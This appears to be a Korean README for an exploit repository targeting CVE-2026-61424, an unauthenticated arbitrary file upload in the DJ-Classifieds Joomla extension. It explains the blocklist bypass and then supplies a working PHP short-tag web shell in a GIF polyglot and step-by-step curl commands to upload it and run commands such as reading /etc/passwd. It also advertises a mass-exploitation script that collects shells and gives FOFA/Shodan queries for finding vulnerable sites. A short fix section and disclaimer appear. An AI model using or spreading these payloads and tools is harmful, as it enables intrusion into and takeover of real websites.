CVE-2026-61424 — DJ-Classifieds <= 3.11.1
imageupload 작업 → 인증 없음 → 3-문자열 필터 우회 (
개요
Joomla용 DJ-Classifieds의 인증되지 않은 임의 파일 업로드 취약점입니다. imageupload 작업 엔드포인트는 인증 없이 파일 업로드를 처리하며 3-문자열 차단 목록(<?php, eval(, base64)에 의존하는데, 이는 PHP 짧은 시작 태그(<?=)를 사용해 쉽게 우회할 수 있습니다. GIF 폴리글롯과 결합하면 업로드된 파일은 완전한 기능을 갖춘 PHP 웹쉘을 포함하면서도 모든 이미지 검증 검사를 통과합니다.
영향을 받는 버전
| 상태 | 버전 |
|---|
| 취약 | 1.0 — 3.11.1 |
| 패치됨 | 3.11.2 (2026년 7월 20일) |
취약점 메커니즘
근본 원인
administrator/components/com_djclassifieds/lib/djupload.php의 upload() 메서드는 인증 검사와 CSRF 토큰 검증 없이 imageupload 작업에 매핑됩니다.
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
보안 필터가 실패하는 이유 (3-문자열 우회)
콘텐츠 스캐너는 세 가지 리터럴 문자열만 차단 목록에 포함합니다:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
이 검사는 <?php, eval(, base64는 차단하지만 PHP 짧은 시작 태그는 차단하지 않습니다:
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
PHP 짧은 출력 태그(<?=)는 PHP 5.4부터 기본적으로 활성화되어 있습니다.
공격 흐름
- 폴리글롯 제작: 유효한
GIF89a 헤더 + <?=system($_GET['c']);?>
name=shell.gif를 포함하여 index.php?option=com_djclassifieds&task=imageupload로 POST 전송
- 서버 검사:
.gif 확장자 ✓ getimagesize() ✓ <?php/eval(/base64 없음 ✓
- 파일이
tmp/djupload/<shell>.gif에 저장됨
- 접근:
https://target.com/tmp/djupload/shell.gif?c=id
확인된 소스 파일
서버 로그 증거
공개 전 실제 환경에서 관찰된 익명 스캐너의 탐지 시도:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
설치
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
사용법
단일 대상
python cve_2026_61424.py -t target.com
대량 악용
python cve_2026_61424.py -f targets.txt -o shells.txt
인자
개념 증명
단일 대상
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
수동 악용
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
FOFA / Shodan
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
수정 사항 (3.11.2)
- Joomla 인증 추가 —
upload() 호출 전 JFactory::getUser() 게스트 확인
- CSRF 토큰 검증 추가 —
imageupload 작업에 JSession::checkToken() 적용
- 파일 유형 제한 — 서버 측 이미지 전용 허용 목록 (
jpg, jpeg, png, gif)
- 콘텐츠 검사 개선 — 3-문자열 차단 목록을 넘어선 추가 PHP 패턴 탐지
영향
- 완전한 RCE — 웹 서버 사용자 권한으로 임의 명령 실행
- 지속적 접근 — 수동으로 제거하거나 디렉터리를 정리할 때까지 셸 유지
- 콘텐츠 남용 — 신뢰된 도메인에 임의 파일 업로드 및 호스팅
- 디스크 고갈 — 익명 대량 업로드 가능
- 연쇄 공격 — 폴리글롯 이미지가 사이트 내 다른 LFI를 통해 포함될 수 있음
면책 조항
이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용하십시오. 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에만 사용하십시오. 저자는 오용이나 피해에 대해 책임을 지지 않습니다.
참고 자료
DJ-Extensions 또는 mySites.guru와 관련이 없습니다.